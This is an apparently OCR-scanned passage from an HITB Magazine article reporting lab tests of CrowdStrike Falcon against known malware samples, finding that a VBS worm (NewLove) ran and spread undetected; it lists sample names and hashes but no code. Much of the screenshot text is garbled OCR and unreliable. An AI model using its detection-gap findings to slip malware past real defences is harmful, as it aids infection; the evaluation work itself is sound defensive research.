* 个 🔤 « Docume	ntos > Lab > CrowdStrike > 1_Crow	dStrike >NEW_FOLDER_	>	, <mark>с</mark> ,2	PesquisarNEW_FOLDE
	ome	Data de modificação	Tipo	Tamanho	
esso rápido Area de Trabalho 🖈	Android.Spy.49_iBanking_Feb2014	08/10/2020 15:01	Pasta de arquivos		
	Backdoor.MSIL.Tyupkin	08/10/2020 15:01	Pasta de arquivos		
Downloads 🖈	CryptoLocker_22Janco14	08/10/2020 15:01	Pasta de arquivos		
ocumentos 🖈	EquationGroup.DoubleFantasy	08/10/2020 15:01	Pasta de arquivos		
magens 🖈	EquationGroup.EquationDrug	08/10/2020 15:01	Pasta de arquivos		
.ab	EquationGroup.EquationLaser	08/10/2020 15:00	Pasta de arquivos		
owerShell_Bazaar	EquationGroup.Fanny	08/10/2020 15:00	Pasta de arquivos		
econd_Testing	EquationGroup.TripleFantasy	08/10/2020 15:00	Pasta de arquivos		
	Friday_the_13th.416.B	08/10/2020 15:00	Pasta de arquivos		
hird_Testing	KRBanker	08/10/2020 15:00	Pasta de arquivos		
te Computador	Linux.Chapros.A	08/10/2020 15:01	Pasta de arquivos		
	Linux.Encoder.1	08/10/2020 15:01	Pasta de arquivos		
de	Linux.Mirai.B	08/10/2020 15:01	Pasta de arquivos		
	Net-Worm.Win32.Kido	08/10/2020 15:01	Pasta de arquivos		
	OSX.Backdoor.iWorm	08/10/2020 15:01	Pasta de arquivos		
	OSXJacksBot	08/10/2020 15:01	Pasta de arquivos		
	OSX.Lazarus	08/10/2020 15:01	Pasta de arquivos		
	OSX.MacSecurity	08/10/2020 15:01	Pasta de arquivos		
	Ransomware.Cerber	08/10/2020 15:01	Pasta de arquivos		
	Ransomware.Cryptowall	08/10/2020 15:01	Pasta de arquivos		
	RansomwareJigsaw	08/10/2020 15:01	Pasta de arquivos		
	Ransomware-Locky	08/10/2020 15:01	Pasta de arquivos		
	Ransomware.Mamba	08/10/2020 15:01	Pasta de arquivos		
	Ransomware.Petya	08/10/2020 15:01	Pasta de arquivos		
	TrojanWin32.Dugu.Stuxnet	08/10/2020 15:01	Pasta de arquivos		
	VBS.Carnival	08/10/2020 15:01	Pasta de arquivos		
	VBS.NewLove.A	08/10/2020 15:01	Pasta de arquivos		
	VBS.RunScript	08/10/2020 15:01	Pasta de arguivos		
	Win32.APT28.SekoiaRootkit	08/10/2020 15:01	Pasta de arquivos		
	Win32.Stuxnet.B.Dugu-Realtek	08/10/2020 15:01	Pasta de arquivos		
	Win32Dircrypt.Trojan.Ransom.A8Z	08/10/2020 15:01	Pasta de arquivos		
	Zerolocker	08/10/2020 15:01	Pasta de arquivos		



### Third Test

The third stage of the tests was through the use of the FULLSCAN action by Cloud CrowdStrike. It was to perform a complete scan on the machine manually. In this way, all malware should be eliminated, as they are already known malware as mentioned earlier, but in this case, we can't do this test, i.e, CrowdStrike has a scanless technology.

Spotlight utilizes scanless technology, delivering an always-on, automated vulnerability management solution with prioritized data in real time. It eliminates bulky, dated reports with its fast, intuitive dashboard. [3]

All surprises forced us to perform an unscheduled test for this stage.

### Fourth Test

The fourth stage of the tests (unscheduled) using "Malware Execution" manually. This way, we can look the behavior of these detection engine works in real-time and all malware should be eliminated, as they are already known malware as mentioned earlier.

First of all, we executed the snapshot in our lab machine.



Image 1.9: Snapshot

We then started the manual execution of some malware chosen at random.

- First malware known as Cerber and It was BLOCKED (Image 1.10)
- Second malware known as Cryptowall and It was BLOCKED (Image 1.11)
- Third malware known as Mamba and It was BLOCKED (Image 1.12)





Image 1.10

Image 1.11

Image 1.12



### HITBMag | June 2021

	XA		<i>i</i> —			A MITTER M. A.	
Process	OPU	Pruste Bytes	Working Set		Description	Canpary Nane	
G Powerstellave	0.01	60.296 K	13.200 ×				
<ul> <li>ershod.ore</li> </ul>	0.01	76.064 K	1688K		Provess de Medigiere Barvi.		
Findeweinternal Compositio     Findeweinternal	< 0.01	11.016.K 3.756.K			WindowsPittemal Composable Processo de Host para Servi.		
L produt en	< 0.08	13.052 K			Processo de Host para Servi.		
1 CATE ON	< 0.01	1.632 K	1504 K	444	HOUSED OF HUR DRY DRY.	- Monthly Colonian	
CHORM AND	< 0.01	63.712 K			Google Crypse	Googe LLC	
Search Protocol Not. ere	< 0.08	3.584 K	12-016 K	1284			
CSFatterCartaner ext	< 0.01	5.960 K	31.900 ×				
<ul> <li>TealTransm</li> </ul>	Seep	23.220 K	244 <		Yauffishe	Marceall Corporation	
K Hawkey St. over		8.092 K	11.50EX				
E B winkgon exe		2.708 K 1.336 K	1.515 K	608			
E worker		1,600 K	758 K		Villware Activation Helper	Where inc.	
VIAIPService exe		4 544 K	1200 K	1541	Vieware Accuation Reper		
a tablecturas		5.000 K	4 525 K				
Conduct are		3.636 K	14.080 K		Processo de Host para Servi.		
Paratos exe		7,400 K	7.808 K	1776	Processe de Hom para Serv.	Histowaft Corporation	
a subud ese		1.912K	2.520 K		Processo de Host para Servi.		
		E24 K	1348 K		Processo de Host para Servi.		
dSt-Rel_NEW_FOLDER_\Resources	ana Ca	× 100 K	7200-K 2052-K		Processo de Host para Sarvi. Processo de Host para Servi.		
		500 K	1454.5		Processo de Hust para Servi. Processo de Host para Servi.		
caminhe ou arquive especificade. Tel-	ALC: NO.	620 K	3.268 ×		Pricesse de Host para Barvi		
testar o item.		528 K	1392 K		Processo de Host para Servi.		
		144 K	3.365 K		Processo de Most para Servi.		
	19 <sup>ger</sup>	2 961 K	12 400 K	4500			
	0	7/2K	2.176 K		releativo de subsisteme de .	. Morekuft Corporation	
		2 04 K	124.4	262			
C SQNERAR PRO		3.752 K	4295×	624	Service Suiten Guard Runt	Microsoft Colporation	
Decuty/ test Cyst ay me		1.876.6			Windows Security militation	Museul Casendary	
F SecurityHealthService.exe		4 956 K			Windows Security Health Se		
Security/ leathiliset eve		2 528 K			Windows Security Health Hos		
· Sectional of ane	See.	22.820 ×	22.790 ×	5556	Windows Defender application	n Merowell Corporation	
<ul> <li>SearchUllese</li> </ul>	Sup.	110.312 K			Search and Cartana applicati	Narowit Corporation	_
Estimation		3.232 K	11.442 K				
CRAtivelisteren TRAtivelisteren		4.964 K 12.092 K			Rutine Boker Rutine Boker	Microsoft Corporation Microsoft Corporation	<i>.</i>
Lucrebole exe		4.000 K			runtine broker Runtine broker	Microsoft Corporation Microsoft Corporation	
C Activelytics are		5.SBEK	12 304 K		Rutine Briter	Microwit Cocordion	
Ruthrelicker ext		2.668 K	2 228 ×	1484	Ruttine Broker	Mercarit Corporation	
· RetireInteres		1.624.16	4.000 <		Runking Brillion	Manazofi Carporation	
8 Repary		4.736 K	28.275 K	44			
notepad=+.me		18.120 K 2.636 K	14 000 K		Netroad-+ : afree G/NU) so. Service de Coordanator de		
Contradic and	Sec.	2.020 K	400 K		perings de Caardanador de	Monane Coperation	
<ul> <li>Record Parks and Record Cost Hando 14 per</li> </ul>	AND	40,301 K	4014				
GoogleCredHander.eve		1768		5712		· · · · · · · · · · · · · · · · · · ·	
a fatarhot.exe		2.764 K	2.884 K	743	_	-	_
a fatärlat on		1.8HB K	1068 <	732			
- dbad are		3.612 K	14.015 K		COM Sumpake		
a dhed.ave		3.832 K	2.328 K		COM Surrogate	CrowdStrike Falcon Sensor	
The day		3.472 K 2.164 K			COW Sumption		
CSCOM Als exe		2.114 K 6.212 K	13495 K 7.135 K		CrowdStrike Falson Serter		
COTTOL 410		1.616.4			Ecogle Desma	08/10/2020 15:02	

After two more tests using PE (Portable Executable) file, and all those files were blocked. Then, we tried to execute a VBS file, (Virtual Basic script written in the VBScript language). It contains code that can be executed within Windows or Internet Explorer, via the Windows-based script host (Wscript.exe), to perform certain admin and processing functions. After 2 minutes we can see that Windows-based script host (Wscript.exe) being executed in our machine, and not being blocked by CrowdStrike.



Image 1.13: VBS Script Executed



Image 1.14: VBS Script executing wscript.exe process

After a while, we can see an alert with the message in Portuguese: "You have files waiting to be recorded to disc" as you can see in Image 1.15. When this alert it's open, we can seen in Image 1.16 that there is an ISO media on our machine. There are many files in this ISO to be performed and we can find the desktop.ini.Vbs.Vbs as a file done to se executed.

📙 l 🕑 📙 🕶 l VBS.NewLey	veA				- 0	× Process	Suplemer - Sysintemals	www.sys	internals.com [THR	EAT-HUNTIN	G-\Thor]		<i>6</i>
coules Inicia Compart	the blue		_			File Option	s View Process F	Find Us	ers Help				
← → + 4 3 ≪ La	> CrowdStike > 1_CrowdStike >NEW_FOLDER_ :	1000		0.0	r VBS/NevLoveA		E 🖸 🚍 🗟   😤	8	<u>سما</u> ی	¥ —			
e 🦻 * 1 📴 * Lio	> Crowdoline > 1/Crowdoline >New/POLDEK_	> VBD/NEWLOVE/A	~ 0	> Pequise	I VISTINERLEVEA	Process		CPU	Private Bytes	Multiang Sec	PID Description	Company 1	Namo
	None	Data de modificação	Tpo	Temanho		. taskhos			6.968 K		3996 Processo de Host para Tare	f Microsoft C	aparation
🖈 Acesso rápide	.DS. Stave	09/01/2019 14:41	Arquivo DS_STORE	7.63		I laskhol			\$1080 K 3.228 K	4.528 K 8.120 K	3352 1536 Processo de Host para Serv	Minnash ()	martin
🔤 Área de Trabalho 🖈	bettern spaces of	21/09/2001 20:18	Arguivo GF	1.63		a sychos			12.748 K	14.715 K	1668 Processo de Host para Serv		
🐥 Dexeloads 🛛 🖈	company_info.gif	21/09/2001 20:17	Arquivo GIF	1.63		E sychod			51644 K 15.064 K	13.476 K 14.372 K	1308 Processo de Host para Serv 2040 Processo de Host para Serv		
🛢 Decumentos 📝	detted line of	21/09/2001 20:18	Arquivo GIF	1 KB		- svohos			2,600 K	2960 K	1656 Processo de Host para Serv		
📰 imagens 🛛 🖈	deunloads.of	21/09/2001 20:17	Arquive GF	2.83		Eerchod	630		3.748 K	13.660 K	4188 Processo de Host para Serv	Microsoft C	Coporation
PowerShell_Bassar	entem2.gif	21/09/2001 20:18	Arquivo GF	2.83		sychos     sychos			1.612 K 2.552 K	1.800 K 7.548 K	1628 Processo de Host para Serv 1000 Processo de Host para Serv		
Second Testing	F-Secure Computer Visus Information Pages Nevel	21/05/2021 20:20	Chrome HEML Do.	21 83		( archod			2.144 K	2.252 K	1624 Processo de Most para Sen	Moreash C	Corporation
Third Testing	(c) fsecura.css	21/09/2001 20:20	Documento de fol.	1.63		( sector			1.912 K	2.848 K	5436 Processo de Host para Serv		
VDS.NeoLove.A	header-stop-viruses.gif	21/09/2001 20:18	Arquivo GIF	23 KB		sychos  sychos			7.488 K 4.824 K	7.552 K 1.832 K	1776 Processo de Host para Serv 1656 Processo de Host para Serv		
•	2 I-035F-1.5/85	21/07/2000 12:55	Arquivo de script			( svohod	exe		3.320 K	7 276 K	2252 Processo de Host para Serv	Microsoft C	aporation
Este Computados	investor_relations.gl	21/09/2001 20:17	Arquivo GIF	1 K3		sychos			2.332 K 1.800 K	2.040 K 1.472 K	1892 Processo de Host para Serv 2036 Processo de Host para Serv		
🔿 Rede	E I-Worm.Newlove.txt	31/05/2004 20:00	Documento de Te.			e svohos svohos			1.600 K	3.275 K	2036 Processo de Host para Serv 1548 Processo de Host para Serv		
<b>2</b> 1444	1-Wown.NewLove.zip	31/05/2004 20:00	Arquivo ZIP do Wi.			E SartVe	nuExperienceHost exe		27.420 K	29.448 K			
	main_menujs	21/09/2001 20:17	Anguivo JavaScript	413		anso co			8.712K 1.164 K	2.176 K	1760 Aplicativo de subsistema de 360	Microsoft C	arpanjilian
S Generciador de Tenefac	and the second s	34 000/0004 00.48	hariald		n ×	E shot e			10.372 K		3004 Shell Infrastructure Host	Microsoft C	apartian
muico Opoles Egilor						C SymBr			2.784 K	3.075 K	4772 Service System Guard Runt	Microsoft C	laparation
						E sevce	HealthSystray eve		3.740 K 1.816 K	4.415 K 1.400 K	624 5770 Windows Security notification	Mermark C	opposition .
rocessos Desempenha Hist	tórico de aplicativos Inicialicar Usuários Detalhes Ser	viças					HealthService exe		5.056 K	7.915 K	3520 Windows Security Health Se		
		≤ 100%	89%	5% 0%			HealthHost exe		3.028 K	3.412 K	3804 Windows Security Health H		
me	Status	CPU			Uso de energia	Seetle	A state	Sug	170,228 K		4712 Search and Cortana applica	en Moranati C 6 Microsoft C	nepumbon Deposition
A Microsoft @ Windows	Based Script Hort	19.2%	2.4MB 0.1N	this OMber	Moderada ^	E Search	hateop/Host.exe		3.032 K	9 660 K	2784		
-						2 Search	National Host and RecHost and		2.000 K 1.908 K	7.024 K 6.844 K	7608 Morosoft Windows Search	P Microsoft C	aparation
Microsoft <sup>®</sup> Windows <sup>®</sup>	Based Script Host	17,6%	2,4 MB 0,4 N	18/5 0 Mbps	Moderada	Reter	Amker ow		5 904 K	19 204 K	5444 Partine Boker	Monest C	aportion
Gerencieder de Janelas	da Area de Tobolho	12,25	72,4143 014	12/3 0 MBps	Daica	EBron			0.240 K	26.504 K	1760 Partine Braher	Merveuh C	
😂 Sysinternals Process Day	plater	12,0%	6,03/8 03/	12/s 0 Mbps	Daica	C Butter			12:092 K 4:056 K	3.912 K	4836 Ruttine Broker 5140 Ruttine Broker	Microsoft G Microsoft C	
S Gerenciador de Tarefas		10,5%	12.8MB 0N	18/s 0 Mbps	Pulsa.	Rute			5.524 K	13.824 K	4600 Runtime Broker	Microsoft C	
11						Rutin	Broker eve		2.668 K	2.228 K	1454 Runtime Broker	Microsoft C	
Host de Experiência do	Windows Shell	9,2%	10,0MB 0,1 N	18/s 0 Mbps	Raixa	R Rutter	Broker exe		1.624 K 5.328 K	4.008 K 28.852 K	1464 Runtime Broker 80	Microsoft C	aporation
System		44%	0,1 MB 0,2 N	18/s 0 Mbps	Muite beixe	Quanadic e			2.828 K	768 K	3668 Serviço de Coordenador de	Microsoft C	aporation
Noiemento de Gréfico de Créfico de Créfic	de Dispositivo de Áudio do Windows	3.9%	SOMB ON	18/s 0 Miles	Multo beixo	Marou	h Photos exe Compression		61.324 K 096 K	130 052 K	194		
						Tisen.ex			6.032 K		656 Local Security Authority Pro	Microsoft C	anation
	Execução do Servidor do Cliente	2,3%	0,61/8 010		Muite baixe	Googe	bash-kanderfi4 eve		1.716 K	0K	5732		
Hast de Serviça: Sistem	na Local (Restrito à Rede) (11)	1,2%	41,7MB 0N	tā/s 0 Mbps	Muito beixo	Google	Crash-Handler eve		1.716 K 2.784 K	0 K 3.000 K	5712 740		
Google Chrome (5)		1,3%	166,9 MB 0,1 N	18/5 0,1 Mbps	Muito beixo	Fortdry	343.303		1.848 K	936 K	732		
Interrupções do sistema		1.2%	DMR DN	24 03/844	Muite baixo	Editors.	98		3.832 K		2684 COM Suropate		
	-					edhot.			3.528 K 4.224 K		1224 COM Sumpate 2070		
Windows Explorer (2)		Q.8%	34,8 MB 0,3 N	G/s 0 Maps	Muite baice	C dvore			63.712 K	40.220 K	5584 Google Chrome		Você tem arquivos aguardando
E Shell Infrastructure Hos	st	0,8%	7,5 MB 0,1 N	18/s 0 Mbps	Muito baixo 🖕	C dvore			22.752 K		6088 Google Ovome		para serem gravados em disco
					>	C dvore			6.500 K 1.636 K		5780 Google Ovone 5552 Google Ovone		Para exibir os arquivos agora, clique
Menus dejathes					Einalizar tarefa		on Frame Host, eve		12,276 K		3820 Application Frame Host		neste baläk Windows Explorer
tens Titen selecionado	s 31,518				8	CPU Usager 1	00.00% Commit Char	rgie 54.82	% Processes 92				
E 🖉 Digite agui p	oara pesquisar O 🛱	a 龄 🧯	e 🗖	a a	N 2	A.							^ # 1⊒ 40 1500

Image 1.15: Alert box "You have files waiting to be recorded to disc"



Image 1.16: Alert box "You have files waiting to be recorded to disc"

### HITBMag | June 2021

E C 🗆 🖻   😁	Nd Use		-					_
	CPU	Photo Bytes	Working Set	P10	Description		Company Name	_
ol exe	0.01	15,444 K	15.068 K	2040	Processo de H	ost para Servi.	Microsoft Corporation	
hProtocolHost.exe	0.01	3.264 K	10.752 K					
CORSERVICE EXE	0.01	10.916 K			Dowd@rike Fa	icon Senaor	CrowdStrike, Inc.	
dg.exe	< 0.01	7.992 K 18 160 K	13.444 K		No.	Children (	Don HO don hillfree fr	
adaa era aterFaneHot ee	< 0.01	12.084 K	21 296 K		Replication Fra		Marceaft Carporation	
n Ide Process	< 0.01	60 K	0K	0				
25.840	< 0.01	6.212 K	6.928 K					
icorCortarer exe	< 0.01	5.392 K	32 000 K					
hote eve	Susp	23.228 K	324 K		Youthone		Morosoft Corporation	
h/3E.ene joh.oxo		8.312 K 2.632 K	11.676 K					
Lexe		1.336 K	154 K					
ovel-ternal Composable 91		11.076 K		4252	Windowshitem	al Composabl	Microsoft Corporation	
thip exe		1.500 K	788 K	1372	Where Activi	tion Helper	VMware, Inc.	
thService exe		4.544 K	1.200 K			Athentoste.		
odiwene otionen		6.968 K 9.080 K	12.340 K 4.928 K		mocesio de H	ost pera Tarel.	Microsoft Corporation	
ostw.exe ost.exe		21,500 K	4 5/0 K		Recenter de la	and many Same	Microsoft Corporation	
stere		3.564 K	13.508 K				Microsoft Corporation	
dee		3.708 K	13.540 K				Microsoft Corporation	
of eile		2 758 K	3.000 K				Minnesh Corporation	
xt.exe		2.340 K					Microsoft Corporation	
ut exe ut exe		7.450 K 3.356 K					Microsoft Corporation	
olexe xlexe		3.356 K	7.304 K 3.300 K				Microsoft Corporation Microsoft Corporation	
off, etter off, exp		2.368 K	2.064 K				Moreast Capacition	
DI ENC		1.836 K					Microsoft Corporation	
ot.exe		1.612 K	1.804 K	1628	Processo de H	od pera Servi	Microsoft Corporation	
Cital Calo		2.512 K					Microsoft Corporation	
ist exe		4.824 K					Microsoft Corporation	
EV ARE		8.712 K 1.164 K	21/5 K 208 K	360	ADICUEND DE D	Lonneria de	Microsoft Corporation	
oxo Droker ese		2.704 K			Service System	Guard Runt	Microsoft Corporation	
to Health Systray ene		1.816 K					Microsoft Corporation	
tyHeathService.exe		4.992 K	7.876 K	3520	Windows Secu	ity Health Se	Microsoft Corporation	
tylieathliost eve		3.026 K					Microsoft Corporation	
eathU.exe	Susp	22.792 K 6.976 K	20.536 K	5596			Moreart Corporation	
neðiskerene neðiskerene		1.624 K	19 200 K 4 008 K		Rutine Boke Ratine Boke		Microsoft Corporation Microsoft Corporation	
reðroker ere		12.092 K	3.902 K		Ratine Boke		Microsoft Corporation	
neëmker eve		5.788 K	13.775 K		Ratine Boke		Microsoft Corporation	
ne Broker eue		2.596 K	2.212 K	1434	Ratine Boke		Microsoft Corporation	
netiroker ere		4.056 K			Rutine Boke	r	Microsoft Corporation	
ky		5.472 K 2.828 K	23 056 K				Manual Conceptor	
iele leCrath Handler64.exe		2.828 K		3968	serviço de Col	roensol/ de	Microsoft Corporation	
eCrash Handler ave		1.716K		5712				
vivalere		2.784 K	3.000 K	740				
vhot.ere		1.848 K	936 K	732				
t exe		3.832 K			COM Surogati		Microsoft Corporation	
Lese		3.472 K			COM Surregate		Mcrosoft Corporation	
408 240 01		1.636 K 63.712 K	1.664 K	444	Google Chrom		Canada ULC	
io.oxo io.oxo		6.536 K			Google Ovors Google Ovors		Google LLC Google LLC	
ie ere		1.636.K			Google Owner		Goode LLC	
100.00% Commit Charg	w 55 124	Enverse P						_
www.commit Charg	10 23 1/1	<ul> <li>FIRESELSC</li> </ul>	_		_	_		

After 4 min, it is possible to see in Image 1.17 that there is an infection inside the our "victim" machine, all those file were change to extension .Vbs as we see in the ISO media. As we can see in Image 1.18, this malware is associated with the execution of VBS - Visual Basic Script and he change all extension in the victim environment.



Image 1.17: Infection Happening



Image 1.18: Infection complete.

### IMPACT

At the end of this test, it was possible to verify that there many malwares that, when executed inside the environment, may perform an infection. A few notable points:

- CrowdStrike didn't work with Signature based; which makes our environment very vulnerable.
- Dependency of the real time engines; which may be a risk as noted in our test;
- After the first extraction, no one know malware were detected; when it comes a major malware infection we can have several types of attack vectors, so it is very important we have an efficient detection.
- Malicious EXE files Not Detected; PE files not detected even though malicious; it was not detected.
- Malicious ELF files Not Detected; ELF file not detected even though malicious; In our test environment, wouldn't be dangerous, because our environment it was Windows, but should be block but it was not detected.
- After second test no one know malware were detected; After this moviment, no one malware it was detected.
- Infection based on VBS (Virtual Basic Script) Known Malware; This is the big surprise.
- I-Worm.NewLove Worm-type malware, with high criticality, associated with the execution of VBS - Visual Basic Script, we have as a characteristic high propagation within the environment in which it is executed.

Basic	Properties
MD5	95f4156f23d61b1b888d3b3bb87b6d72
SHA-1	09d2470d17821728cd1da95186f5f51272634287
SHA-25	6 2246a1a31f8ef272a8ac44c97d383d0607d
Vhash	773a411c5a56087d4d7c5cc36bbf2901
	21536:cfY1wBDtr94PLD 3JW5C6U7EjSRVve0:R1wBJoL4F1w6QK1qFnVCXJYCF7
Names	
I-Worm	.NewLove.zip
output	.149790737.txt;

d86ddf4509a176b157853d9c6e0028 c w Z A N v 1 p G 1 Z u Q K 1 0 0 k s k /a0





### **CORRECTIVE ACTIONS**

The following actions will be taken to improve the protection environment of our assets:

- This report will be sent to CrowdStrike Team to validate how the detection flow for known malware works, and why this VBS/Malware wasn't detected;
- · Validate the performance of NGAV, Machine Learning and other components, regarding this type of detection;
- The best practices of the configurations will be revalidated with the CrowdStrike team.

# This could be your brand.

### Contact us for branding opportunities. editorial@hackinthebox.org



# HITB Cyber Week Abu Dhabi, UAE, 2021

CHIEF .

## The Largest HITB Cyber Security Event In The Middle East





For submissions and branding, visit magazine.hitb.org or email to editorial@hackinthebox.org

> Twitter / YouTube: @hitbsecconf Facebook / LinkedIn: Hack In The Box

© 2021 Hack In The Box. All rights reserved.